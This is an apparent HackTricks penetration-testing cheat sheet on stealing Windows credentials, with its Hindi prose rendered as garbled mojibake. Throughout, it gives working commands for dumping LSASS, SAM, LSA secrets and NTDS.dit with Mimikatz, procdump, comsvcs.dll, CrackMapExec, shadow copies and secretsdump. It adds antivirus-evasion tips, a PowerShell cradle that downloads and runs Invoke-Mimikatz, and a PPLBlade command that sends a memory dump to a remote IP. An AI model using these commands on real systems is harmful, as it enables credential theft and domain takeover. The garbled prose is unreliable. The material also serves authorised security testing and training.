Stealing Windows Credentials

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдорд┐рдорд┐рдХреИрдЯреНрдЬрд╝

#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

Mimikatz рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЕрдиреНрдп рдЪреАрдЬреЗрдВ рдЦреЛрдЬреЗрдВ рдЗрд╕ рдкреГрд╖реНрда рдкрд░.

Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

рдпрд╣рд╛рдБ рдХреБрдЫ рд╕рдВрднрд╛рд╡рд┐рдд рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВред рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ Mimikatz рдХреЛ рдХреБрдЫ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдирд┐рдХрд╛рд▓рдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддреА рд╣реИред

рдореАрдЯрд░рдкреНрд░реАрдЯрд░ рдХреЗ рд╕рд╛рде рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕

рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд▓рдЧрдЗрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬреЛ рдореИрдВрдиреЗ рд╢рд┐рдХрд╛рд░ рдХреЗ рдЕрдВрджрд░ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рд╣реИрд╢ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рд╣реИред

#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

AV рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛

Procdump + Mimikatz

рдЪреВрдВрдХрд┐ Procdump from SysInternals рдПрдХ рд╡реИрдз Microsoft рдЙрдкрдХрд░рдг рд╣реИ, рдЗрд╕реЗ Defender рджреНрд╡рд╛рд░рд╛ рдирд╣реАрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ред рдЖрдк рдЗрд╕ рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ lsass рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдбрдВрдк рдХрд░рдиреЗ, рдбрдВрдк рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдФрд░ рдбрдВрдк рд╕реЗ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

Dump lsass
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
рдбрдВрдк рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд┐рдХрд╛рд▓реЗрдВ
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords

рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ SprayKatz рдХреЗ рд╕рд╛рде рдХреА рдЬрд╛рддреА рд╣реИ: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

рдиреЛрдЯ: рдХреБрдЫ AV malicious рдХреЗ рд░реВрдк рдореЗрдВ detect рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ procdump.exe to dump lsass.exe рдХрд╛ рдЙрдкрдпреЛрдЧ, рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ "procdump.exe" рдФрд░ "lsass.exe" рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ detecting рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдпрд╣ stealthier рд╣реИ рдХрд┐ argument рдХреЗ рд░реВрдк рдореЗрдВ lsass.exe рдХрд╛ PID procdump рдХреЛ pass рдХрд┐рдпрд╛ рдЬрд╛рдП instead of lsass.exe рдХреЗ рдирд╛рдо рдХреЗред

comsvcs.dll рдХреЗ рд╕рд╛рде lsass рдХреЛ рдбрдВрдк рдХрд░рдирд╛

рдПрдХ DLL рдЬрд┐рд╕рдХрд╛ рдирд╛рдо comsvcs.dll рд╣реИ, C:\Windows\System32 рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрд╣ рдПрдХ рдХреНрд░реИрд╢ рдХреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ dumping process memory рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИред рдЗрд╕ DLL рдореЗрдВ рдПрдХ function рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо MiniDumpW рд╣реИ, рдЬрд┐рд╕реЗ rundll32.exe рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмреБрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдкрд╣рд▓реЗ рджреЛ arguments рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЕрдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИ, рд▓реЗрдХрд┐рди рддреАрд╕рд░рд╛ рддреАрди рдШрдЯрдХреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рд╣реИред рдбрдВрдк рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ ID рдкрд╣рд▓реЗ рдШрдЯрдХ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░рддрд╛ рд╣реИ, рдбрдВрдк рдлрд╝рд╛рдЗрд▓ рд╕реНрдерд╛рди рджреВрд╕рд░реЗ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рддреАрд╕рд░рд╛ рдШрдЯрдХ рд╕рдЦреНрддреА рд╕реЗ рд╢рдмреНрдж full рд╣реИред рдХреЛрдИ рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдХрд▓реНрдк рдирд╣реАрдВ рд╣реИрдВред рдЗрди рддреАрди рдШрдЯрдХреЛрдВ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдкрд░, DLL рдбрдВрдк рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдиреЗ рдФрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдХреЛ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдВрд▓рдЧреНрди рд╣реЛрддрд╛ рд╣реИред comsvcs.dll рдХрд╛ рдЙрдкрдпреЛрдЧ lsass рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдбрдВрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ procdump рдХреЛ рдЕрдкрд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддреА рд╣реИред рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг https://en.hackndo.com/remote-lsass-dump-passwords/ рдкрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЖрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

рдЖрдк рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ lssasy** рдХреЗ рд╕рд╛рде рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред**

рдЯрд╛рд╕реНрдХ рдореИрдиреЗрдЬрд░ рдХреЗ рд╕рд╛рде lsass рдХреЛ рдбрдВрдк рдХрд░рдирд╛

  1. рдЯрд╛рд╕реНрдХ рдмрд╛рд░ рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдЯрд╛рд╕реНрдХ рдореИрдиреЗрдЬрд░ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ

  2. рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ

  3. рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЯреИрдм рдореЗрдВ "рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛" рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ

  4. "рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛" рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ "рдбрдВрдк рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдБ" рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред

procdump рдХреЗ рд╕рд╛рде lsass рдХреЛ рдбрдВрдк рдХрд░рдирд╛

Procdump рдПрдХ рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рджреНрд╡рд╛рд░рд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдмрд╛рдЗрдирд░реА рд╣реИ рдЬреЛ sysinternals рд╕реВрдЯ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИред

Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp

Dumpin lsass with PPLBlade

PPLBlade рдПрдХ Protected Process Dumper Tool рд╣реИ рдЬреЛ рдореЗрдореЛрд░реА рдбрдВрдк рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдФрд░ рдЗрд╕реЗ рджреВрд░рд╕реНрде рдХрд╛рд░реНрдпрд╕реНрдерд╛рдиреЛрдВ рдкрд░ рдмрд┐рдирд╛ рдбрд┐рд╕реНрдХ рдкрд░ рдЧрд┐рд░рд╛рдП рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред

рдореБрдЦреНрдп рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдПрдБ:

  1. PPL рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛

  2. Defender рд╕рд┐рдЧреНрдиреЗрдЪрд░-рдЖрдзрд╛рд░рд┐рдд рдкрд╣рдЪрд╛рди рддрдВрддреНрд░ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдореЗрдореЛрд░реА рдбрдВрдк рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЫрд┐рдкрд╛рдирд╛

  3. RAW рдФрд░ SMB рдЕрдкрд▓реЛрдб рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдореЗрдореЛрд░реА рдбрдВрдк рдХреЛ рдмрд┐рдирд╛ рдбрд┐рд╕реНрдХ рдкрд░ рдЧрд┐рд░рд╛рдП рдЕрдкрд▓реЛрдб рдХрд░рдирд╛ (рдлрд╛рдЗрд▓рд▓реЗрд╕ рдбрдВрдк)

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

CrackMapExec

SAM рд╣реИрд╢реЗрд╕ рдбрдВрдк рдХрд░реЗрдВ

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

LSA рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рдбрдВрдк рдХрд░реЗрдВ

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

рд▓рдХреНрд╖реНрдп DC рд╕реЗ NTDS.dit рдбрдВрдк рдХрд░реЗрдВ

cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

рд▓рдХреНрд╖рд┐рдд DC рд╕реЗ NTDS.dit рдкрд╛рд╕рд╡рд░реНрдб рдЗрддрд┐рд╣рд╛рд╕ рдбрдВрдк рдХрд░реЗрдВ

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

рдкреНрд░рддреНрдпреЗрдХ NTDS.dit рдЦрд╛рддреЗ рдХреЗ рд▓рд┐рдП pwdLastSet рд╡рд┐рд╢реЗрд╖рддрд╛ рджрд┐рдЦрд╛рдПрдБ

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

Stealing SAM & SYSTEM

рдпреЗ рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕реНрдерд┐рдд рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП C:\windows\system32\config\SAM рдФрд░ C:\windows\system32\config\SYSTEM. рд▓реЗрдХрд┐рди рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╕реЗ рдХреЙрдкреА рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВред

From Registry

рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЪреБрд░рд╛рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕реЗ рдПрдХ рдХреЙрдкреА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реИ:

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЕрдкрдиреЗ рдХрд╛рд▓реА рдорд╢реАрди рдкрд░ рдФрд░ рд╣реИрд╢реЗрд╕ рдирд┐рдХрд╛рд▓реЗрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ:

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

Volume Shadow Copy

рдЖрдк рдЗрд╕ рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрд░рдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдХреЙрдкреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдкрдХреЛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред

Using vssadmin

vssadmin рдмрд╛рдЗрдирд░реА рдХреЗрд╡рд▓ Windows Server рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИ

vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

рд▓реЗрдХрд┐рди рдЖрдк Powershell рд╕реЗ рднреА рдпрд╣реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ SAM рдлрд╝рд╛рдЗрд▓ рдХреЛ рдХреЙрдкреА рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ (рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ "C:" рд╣реИ рдФрд░ рдЗрд╕реЗ C:\users\Public рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЧрдпрд╛ рд╣реИ) рд▓реЗрдХрд┐рди рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рднреА рд╕реБрд░рдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓ рдХреЛ рдХреЙрдкреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}

Invoke-NinjaCopy

рдЕрдВрдд рдореЗрдВ, рдЖрдк PS script Invoke-NinjaCopy рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ SAM, SYSTEM рдФрд░ ntds.dit рдХреА рдПрдХ рдкреНрд░рддрд┐ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Active Directory Credentials - NTDS.dit

The NTDS.dit рдлрд╝рд╛рдЗрд▓ рдХреЛ Active Directory рдХрд╛ рджрд┐рд▓ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡рд╕реНрддреБрдУрдВ, рд╕рдореВрд╣реЛрдВ рдФрд░ рдЙрдирдХреЗ рд╕рджрд╕реНрдпрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдбреЗрдЯрд╛ рд░рдЦрддреА рд╣реИред рдпрд╣ рд╡рд╣ рдЬрдЧрд╣ рд╣реИ рдЬрд╣рд╛рдБ рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП password hashes рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВред рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдПрдХ Extensible Storage Engine (ESE) рдбреЗрдЯрд╛рдмреЗрд╕ рд╣реИ рдФрд░ %SystemRoom%/NTDS/ntds.dit рдкрд░ рд╕реНрдерд┐рдд рд╣реИред

рдЗрд╕ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рднреАрддрд░, рддреАрди рдкреНрд░рдореБрдЦ рддрд╛рд▓рд┐рдХрд╛рдПрдБ рд░рдЦреА рдЬрд╛рддреА рд╣реИрдВ:

  • Data Table: рдпрд╣ рддрд╛рд▓рд┐рдХрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдФрд░ рд╕рдореВрд╣реЛрдВ рдЬреИрд╕реА рд╡рд╕реНрддреБрдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╡рд░рдг рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИред

  • Link Table: рдпрд╣ рд╕рдВрдмрдВрдзреЛрдВ рдХрд╛ рдЯреНрд░реИрдХ рд░рдЦрддреА рд╣реИ, рдЬреИрд╕реЗ рд╕рдореВрд╣ рд╕рджрд╕реНрдпрддрд╛рдПрдБред

  • SD Table: рдкреНрд░рддреНрдпреЗрдХ рд╡рд╕реНрддреБ рдХреЗ рд▓рд┐рдП Security descriptors рдпрд╣рд╛рдБ рд░рдЦреЗ рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рд╡рд╕реНрддреБрдУрдВ рдХреЗ рд▓рд┐рдП рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдкрд╣реБрдБрдЪ рдирд┐рдпрдВрддреНрд░рдг рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реИрдВред

рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/

Windows Ntdsa.dll рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ lsass.exe рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдлрд┐рд░, NTDS.dit рдлрд╝рд╛рдЗрд▓ рдХрд╛ рднрд╛рдЧ lsass рдореЗрдореЛрд░реА рдХреЗ рдЕрдВрджрд░ рд╕реНрдерд┐рдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЖрдк рд╢рд╛рдпрдж рдкреНрд░рджрд░реНрд╢рди рд╕реБрдзрд╛рд░ рдХреЗ рдХрд╛рд░рдг cache рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ)ред

NTDS.dit рдХреЗ рдЕрдВрджрд░ рд╣реИрд╢ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдирд╛

рд╣реИрд╢ рдХреЛ 3 рдмрд╛рд░ рд╕рд┐рдлрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

  1. BOOTKEY рдФрд░ RC4 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Password Encryption Key (PEK) рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВред

  2. PEK рдФрд░ RC4 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ hash рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВред

  3. DES рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ hash рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВред

PEK рдХрд╛ рд╣рд░ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдореЗрдВ рдПрдХ рд╣реА рдорд╛рди рд╣реЛрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ NTDS.dit рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдХреЗ SYSTEM рдлрд╝рд╛рдЗрд▓ рдХреЗ BOOTKEY рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рд┐рдлрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬреЛ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░реЛрдВ рдХреЗ рдмреАрдЪ рднрд┐рдиреНрди рд╣реЛрддрд╛ рд╣реИ)ред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ NTDS.dit рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ NTDS.dit рдФрд░ SYSTEM рдлрд╝рд╛рдЗрд▓ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ (C:\Windows\System32\config\SYSTEM)ред

Ntdsutil рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ NTDS.dit рдХреА рдХреЙрдкреА рдХрд░рдирд╛

Windows Server 2008 рд╕реЗ рдЙрдкрд▓рдмреНрдзред

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

рдЖрдк рд╡реЙрд▓реНрдпреВрдо рд╢реИрдбреЛ рдХреЙрдкреА рдЯреНрд░рд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ ntds.dit рдлрд╝рд╛рдЗрд▓ рдХреЛ рдХреЙрдкреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдЖрдкрдХреЛ SYSTEM рдлрд╝рд╛рдЗрд▓ рдХреА рдПрдХ рдХреЙрдкреА рднреА рдЪрд╛рд╣рд┐рдП рд╣реЛрдЧреА (рдлрд┐рд░ рд╕реЗ, рдЗрд╕реЗ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕реЗ рдбрдВрдк рдХрд░реЗрдВ рдпрд╛ рд╡реЙрд▓реНрдпреВрдо рд╢реИрдбреЛ рдХреЙрдкреА рдЯреНрд░рд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ)ред

NTDS.dit рд╕реЗ рд╣реИрд╢ рдирд┐рдХрд╛рд▓рдирд╛

рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк NTDS.dit рдФрд░ SYSTEM рдлрд╝рд╛рдЗрд▓реЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк secretsdump.py рдЬреИрд╕реЗ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣реИрд╢ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ:

secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

